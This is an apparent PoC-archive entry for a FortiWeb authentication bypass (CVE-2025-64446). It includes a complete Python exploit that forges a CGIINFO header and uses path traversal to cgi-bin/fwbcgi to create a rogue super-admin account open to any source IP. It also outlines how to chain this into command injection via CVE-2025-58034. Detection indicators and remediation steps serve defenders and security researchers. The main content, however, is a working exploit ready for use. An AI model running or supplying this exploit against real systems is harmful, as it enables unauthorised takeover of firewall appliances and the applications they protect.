PoC Archive PoC Archive
Critical CVE-2025-64446 unpatched

FortiWeb `cgi-bin/fwbcgi` Path Traversal Authentication Bypass Leading to Rogue Admin Creation (CVE-2025-64446)

by litndat · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-64446
Category
network
Affected product
Fortinet FortiWeb (Web Application Firewall appliance)
Affected versions
8.0.0 – 8.0.1, 7.6.0 – 7.6.4, 7.4.0 – 7.4.9, 7.2.0 – 7.2.11, 7.0.0 – 7.0.11 (per source repository)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherlitndat
CVE / AdvisoryCVE-2025-64446
Categorynetwork
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagsfortiweb, fortinet, waf, authentication-bypass, path-traversal, cgiinfo, cwe-22, cwe-288, admin-account-creation, python
RelatedCVE-2025-58034 (post-auth OS command injection via SAML user CLI, chained after this bypass)

Affected Target

FieldValue
Software / SystemFortinet FortiWeb (Web Application Firewall appliance)
Versions Affected8.0.0 – 8.0.1, 7.6.0 – 7.6.4, 7.4.0 – 7.4.9, 7.2.0 – 7.2.11, 7.0.0 – 7.0.11 (per source repository)
Language / PlatformPython 3 exploit client targeting FortiWeb’s HTTPS management/API interface
Authentication RequiredNo — this is the authentication-bypass step itself
Network Access RequiredYes (HTTPS access to the FortiWeb admin/API port, typically 443)

Summary

FortiWeb exposes an internal CGI handler (cgi-bin/fwbcgi) that is reachable through the authenticated cmdb REST API path by appending a relative path-traversal sequence (../) after a request to a nonexistent object (admin%3f). Because path handling for the internal CGI target happens outside the access-control check tied to the /api/v2.0/cmdb/... prefix, the traversal routes the request to the internal CGI handler while bypassing the authentication gate that would normally apply to it. The handler additionally trusts a CGIINFO HTTP header — a base64-encoded JSON blob asserting an authenticated admin identity — without independently verifying a valid session. The PoC combines both bugs to submit an unauthenticated “add local user” request that creates a brand-new, fully privileged local administrator account with no source-IP restriction (trusthostv4/trusthostv6 = 0.0.0.0/0 / ::/0). Once this rogue admin account exists, an attacker can log in normally and, per the repository’s documentation, chain into CVE-2025-58034 (an authenticated OS command injection in the SAML user CLI configuration flow) for full device compromise.


Vulnerability Details

Root Cause

The exploit targets the following endpoint, which appends a traversal sequence after a bogus object name to escape the cmdb API’s authentication scope and land on the internal fwbcgi CGI binary:

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

The request also carries a CGIINFO header — base64-encoded JSON that the backend appears to trust as an already-authenticated session context instead of re-deriving identity from a validated session/cookie:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
cgiinfo_json = {
    "username": "admin",
    "profname": "prof_admin",
    "vdom": "root",
    "loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
headers = {
    "CGIINFO": cgiinfo_b64,
    "Content-Type": "application/x-www-form-urlencoded",
}

The JSON body sent alongside it is a standard FortiWeb cmdb “add local admin user” payload (q_type: 1) with access-profile: prof_admin (super-admin equivalent) and no trusted-host restriction, so a successful response (HTTP 200) means a new, fully privileged admin account was silently created without ever authenticating.

Attack Vector

  1. Attacker sends an unauthenticated POST to /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi on the target FortiWeb’s management/API interface.
  2. The trailing ../../../../../ traversal collapses the path down to cgi-bin/fwbcgi, which is processed outside the access-control logic bound to the cmdb API prefix.
  3. The CGIINFO header (base64 JSON asserting username=admin, profname=prof_admin, vdom=root) is accepted by the CGI handler as a trusted session/authorization context.
  4. The POST body instructs the backend to add a new local user with attacker-chosen username/password, access-profile=prof_admin, and trusthostv4=0.0.0.0/0 / trusthostv6=::/0 (unrestricted source access).
  5. A 200 response confirms the rogue admin account now exists; the attacker logs in through the normal GUI/CLI using the newly created credentials.
  6. (Documented chain) Once authenticated, the attacker can exploit CVE-2025-58034 by editing a SAML user’s entity name with a shell metacharacter payload (e.g. edit "id") inside config user saml-user, causing FortiWeb to break out of the configuration parser and execute the injected OS command.

Impact

  • Complete unauthenticated bypass of FortiWeb’s administrative authentication.
  • Creation of a fully privileged, network-reachable (unrestricted trusted-host) admin account.
  • Chainable into authenticated OS command injection (CVE-2025-58034) for full appliance compromise, and by extension compromise of the trust placed in the WAF protecting downstream web applications.

Environment / Lab Setup

Target:   FortiWeb appliance, firmware in the vulnerable range listed above,
          management/API HTTPS interface reachable on port 443.
Attacker: Python 3
          Standard library only (http.client, ssl, base64, json, argparse, uuid)
          NOTE: the script as committed does `import slogsec` and calls
          `slogsec.get_logger("api")` for output logging. `slogsec` is not a
          published/available Python package — replace those two lines with
          Python's standard `logging` module (or simple print statements)
          before running. This is the only change needed; the request/exploit
          logic itself is unmodified from the source repository.

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
python3 exploit.py <TARGET_IP_OR_HOSTNAME>

python3 exploit.py <TARGET_IP_OR_HOSTNAME> -u customadmin -p custompassword

On success the script prints the newly created admin username/password, which can then be used to log into the FortiWeb GUI/CLI as a super-admin.


Detection & Indicators of Compromise

- HTTP POST requests to URIs matching:
  /api/v2.0/cmdb/system/*%3f/../*cgi-bin/fwbcgi
  (path-traversal sequences preceding cgi-bin/fwbcgi)
- Presence of a "CGIINFO" request header carrying base64-encoded JSON on
  otherwise unauthenticated requests
- New entries in `config system admin` with:
    - trusthostv4 0.0.0.0/0 and/or trusthostv6 ::/0
    - unexplained creation time with no corresponding legitimate admin login
    - short/random usernames (e.g. 8-character UUID fragments)
- Subsequent CLI activity under `config user saml-user` containing shell
  metacharacters (backticks, $()) in the `edit` object name — indicator of
  the CVE-2025-58034 follow-on command injection

Signs of compromise:

  • Unrecognized local admin accounts with unrestricted trusted hosts.
  • FortiWeb admin login events from unfamiliar source IPs shortly after a new account’s creation timestamp.
  • Unexpected outbound connections or process execution originating from the FortiWeb appliance itself.

Remediation

ActionDetail
Primary fixUpgrade FortiWeb to a version outside the affected ranges (per Fortinet PSIRT advisories for CVE-2025-64446 and CVE-2025-58034).
Interim mitigationDo not expose the FortiWeb management/API interface to the Internet; restrict access via trusted-host/ACLs; audit config system admin for unexpected accounts and unrestricted trusthostv4/trusthostv6 entries; monitor for path-traversal sequences targeting cgi-bin/fwbcgi in access logs.

References


Notes

Mirrored from https://github.com/litndat/Vulnerability-CVE-2025-64446-CVE-2025-58034 on 2026-07-06. The repository’s original README is written in Vietnamese and documents both CVE-2025-64446 (this entry) and the chained CVE-2025-58034 authenticated OS command injection. The included exploit.py imports a non-existent slogsec module (import slogsec, log = slogsec.get_logger("api")) — this is not a published PyPI package, so the script fails at import time until those lines are swapped for standard logging/print calls. Aside from that import issue, the HTTP request construction, CGIINFO header, and API payload match the documented real-world FortiWeb auth-bypass technique.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import http.client
import ssl
import base64
import json
from uuid import uuid4
import sys
import os
from urllib.parse import urlparse
import argparse
import slogsec

log = slogsec.get_logger("api")

def parse_target(target):
    if '://' not in target:
        target = 'https://' + target
    
    parsed = urlparse(target)
    hostname = parsed.hostname
    port = parsed.port
    
    if port is None:
        if parsed.scheme == 'https':
            port = 443
        else:
            port = 443  # Default to 443 for HTTPS
    
    return hostname, port

def exploit_target(host, port, username, password):

    cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }

    cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()

    headers = {
        "CGIINFO": cgiinfo_b64,
        "Content-Type": "application/x-www-form-urlencoded",
    }

    body = {
        "data": {
            "q_type": 1,
            "name": username,
            "access-profile": "prof_admin",
            "access-profile_val": "0",
            "trusthostv4": "0.0.0.0/0",
            "trusthostv6": "::/0",
            "last-name": "",
            "first-name": "",
            "email-address": "",
            "phone-number": "",
            "mobile-number": "",
            "hidden": 0,
            "comments": "",
            "sz_dashboard": -1,
            "type": "local-user",
            "type_val": "0",
            "admin-usergrp_val": "0",
            "wildcard_val": "0",
            "accprofile-override_val": "0",
            "sshkey": "",
            "passwd-set-time": 0,
            "history-password-pos": 0,
            "history-password0": "",
            "history-password1": "",
            "history-password2": "",
            "history-password3": "",
            "history-password4": "",
            "history-password5": "",
            "history-password6": "",
            "history-password7": "",
            "history-password8": "",
            "history-password9": "",
            "force-password-change": "disable",
            "force-password-change_val": "0",
            "password": password
        }
    }

    body_data = json.dumps(body)
    
    try:
        context = ssl._create_unverified_context()
        
        if port == 443:
            conn = http.client.HTTPSConnection(host, port, context=context, timeout=10)
        else:
            conn = http.client.HTTPSConnection(host, port, context=context, timeout=10)
            
        conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
        
        result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }
        
        conn.close()
        return result
        
    except Exception as e:
        return {
            'target': f"{host}:{port}",
            'status': 'Error',
            'user': None,
            'password': None,
            'success': False,
            'error': str(e)
        }

def main():
    parser = argparse.ArgumentParser(description="FortiWeb Authentication Bypass Exploit")
    parser.add_argument("target_ip", help="Target FortiWeb IP address")
    parser.add_argument("-u", "--username", help="Custom username (defaults to UUID)", default=None)
    parser.add_argument("-p", "--password", help="Custom password (defaults to username)", default=None)
    args = parser.parse_args()

    target_ip = args.target_ip
    username = args.username
    password = args.password

    if not username:
        username = str(uuid4())[:8]
    if not password:
        password = username

    try:
        host, port = parse_target(target_ip)
        result = exploit_target(host, port, username, password)

        if result['success']:
            log.success(f"[*] SUCCESS - Target: {result['target']}")
            log.info(f"    Username: {result['user']}")
            log.info(f"    Password: {result['password']}")
        else:
            log.fail(f"[-] FAILED - Target: {result['target']}")
            if 'error' in result:
                log.fail(f"    Error: {result['error']}")
            else:
                log.fail(f"    Status: {result['status']}")
    except Exception as e:
        log.fail(f"[-] ERROR: {e}")


if __name__ == "__main__":
    main()